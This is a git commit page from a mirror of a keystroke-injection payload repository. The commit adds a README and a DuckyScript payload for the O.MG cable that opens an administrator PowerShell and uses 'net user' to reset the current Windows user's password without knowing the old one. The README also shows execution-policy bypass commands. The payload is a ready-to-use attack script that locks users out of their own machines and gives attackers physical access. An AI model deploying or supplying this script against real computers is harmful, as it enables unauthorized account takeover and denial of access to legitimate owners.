mirror of https://github.com/hak5/omg-payloads.git
Merge pull request #138 from aleff-github/patch-5
Change the password of the Windows userpull/178/head
commit
0703906565
|
@ -0,0 +1,28 @@
|
|||
# Change the password of the windows user
|
||||
|
||||
Through this script you will be able to change windows user's password super fast.
|
||||
|
||||
**Category**: Execution
|
||||
|
||||
## Description
|
||||
|
||||
Through this script you will be able to change windows user's password super fast.
|
||||
|
||||
A PowerShell with administrator permissions is started, and through the use of the `net` command you can change the password without necessarily having to know the original password.
|
||||
|
||||
It is always very fascinating to see how many things you can do on Windows systems without needing to know the original password. As fascinating as it is disturbing.
|
||||
|
||||
## Dependencies
|
||||
|
||||
* Nothing (i know it's absurd)
|
||||
|
||||
## Example
|
||||
|
||||
- `STRINGLN Get-ExecutionPolicy -List`
|
||||
![](docs/1.png)
|
||||
|
||||
- `STRINGLN Set-ExecutionPolicy Bypass`
|
||||
![](docs/2.png)
|
||||
|
||||
- `STRINGLN Get-ExecutionPolicy -List`
|
||||
![](docs/3.png)
|
|
@ -0,0 +1,32 @@
|
|||
REM ############################################################
|
||||
REM # |
|
||||
REM # Title : Change the password of the Windows user |
|
||||
REM # Author : Aleff |
|
||||
REM # Version : 1.0 |
|
||||
REM # Category : Execution |
|
||||
REM # Target : Windows 10-11 |
|
||||
REM # |
|
||||
REM ############################################################
|
||||
|
||||
REM Requirements:
|
||||
REM - Nothing (i know it's absurd)
|
||||
|
||||
REM You must define the new Windows user password
|
||||
DEFINE NEW_PASSWORD example
|
||||
|
||||
DELAY 1000
|
||||
GUI x
|
||||
DELAY 500
|
||||
STRING a
|
||||
DELAY 500
|
||||
LEFT_ARROW
|
||||
DELAY 500
|
||||
ENTER
|
||||
|
||||
DELAY 2000
|
||||
STRING net user $env:USERNAME
|
||||
STRING NEW_PASSWORD
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
ALT F4
|
Loading…
Reference in New Issue